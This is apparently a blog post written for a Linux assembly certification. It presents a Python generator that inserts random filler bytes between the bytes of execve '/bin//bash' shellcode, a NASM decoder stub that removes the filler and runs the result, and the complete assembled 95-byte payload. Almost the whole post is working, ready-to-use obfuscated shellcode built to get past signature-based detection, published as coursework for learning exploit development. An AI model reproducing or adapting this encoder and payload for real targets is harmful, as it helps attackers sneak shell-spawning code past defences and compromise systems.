Here is my next shellcode, along with a generator. This generator inserts a random bit between each legitimate shellcode character, and then the decoder stub unpacks it before running it:

; Title Linux Insertion Obfuscated Shellcode v0.1
; Author npn <npn at iodigitalsec dot com>
; License http://creativecommons.org/licenses/by-sa/3.0/
; Legitimate use and research only
; This program is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 

#!/usr/bin/python

shellcode = ("\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
stopchar = "\xff";
encoded = ""
encoded2 = ""

import random

for x in bytearray(shellcode):
        encoded += '\\x'
        encoded += '%02x' % x
        encoded += '\\x%02x' % random.randint(1,254)

        encoded2 += '0x'
        encoded2 += '%02x,' % x
        encoded2 += '0x%02x,' % random.randint(1,254)

encoded += '\\x'
encoded += '%02x' % ord(stopchar)
encoded2 += '0x'
encoded2 += '%02x' % ord(stopchar)

print encoded
print encoded2
print 'Len: %d' % len(bytearray(shellcode))

And for the decoder:

; Title Linux Insertion Obfuscated Shellcode v0.1
; Author npn <npn at iodigitalsec dot com>
; License http://creativecommons.org/licenses/by-sa/3.0/
; Legitimate use and research only
; This program is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
global _start

section prog write exec

_start:
	jmp short call_decoder

decoder:
	pop esi
	lea edi, [esi+1] ;edi is +1 ahead of esi
	xor eax, eax
	inc al
decode:
	mov bl, byte [esi+eax] ;bl now to the first filler character
	xor bl, 0xff ;this is how we know we've ended our shellcode (zeroflag would be set)
	jz short shellcode ;if we have finished, then execute
	mov bl, byte [esi + eax + 1]  ;otherwise, move the next byte into bl
	mov byte [edi], bl ;then move that byte from bl to the destination
	inc edi ;increment the destination
	add al, 2 ;increment the filler ctr by 2
	jmp short decode ;loop

call_decoder:
	call decoder
	shellcode: db 0x31,0x51,0xc0,0xab,0x50,0xad,0x68,0x69,0x62,0x1f,0x61,0xb0,0x73,0x9a,0x68,0xb1,0x68,0xba,0x62,0x40,0x69,0x21,0x6e,0xb9,0x2f,0xc3,0x68,0x78,0x2f,0x61,0x2f,0xc2,0x2f,0x55,0x2f,0x88,0x89,0x27,0xe3,0x02,0x50,0x54,0x89,0x43,0xe2,0xfb,0x53,0xdf,0x89,0x21,0xe1,0x6d,0xb0,0x19,0x0b,0x05,0xcd,0x79,0x80,0xb5,0xff

“\xeb\x1b\x5e\x8d\x7e\x01\x31\xc0\xfe\xc0\x8a\x1c”
“\x06\x80\xf3\xff\x74\x10\x8a\x5c\x06\x01\x88\x1f”
“\x47\x04\x02\xeb\xed\xe8\xe0\xff\xff\xff\x31\x51”
“\xc0\xab\x50\xad\x68\x69\x62\x1f\x61\xb0\x73\x9a”
“\x68\xb1\x68\xba\x62\x40\x69\x21\x6e\xb9\x2f\xc3”
“\x68\x78\x2f\x61\x2f\xc2\x2f\x55\x2f\x88\x89\x27”
“\xe3\x02\x50\x54\x89\x43\xe2\xfb\x53\xdf\x89\x21”
“\xe1\x6d\xb0\x19\x0b\x05\xcd\x79\x80\xb5\xff”

The original shellcode is 30 bytes, the encoded shellcode is 61 bytes, and the encoded shellcode plus decoder stub is 95 bytes. Could be a lot better..

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-158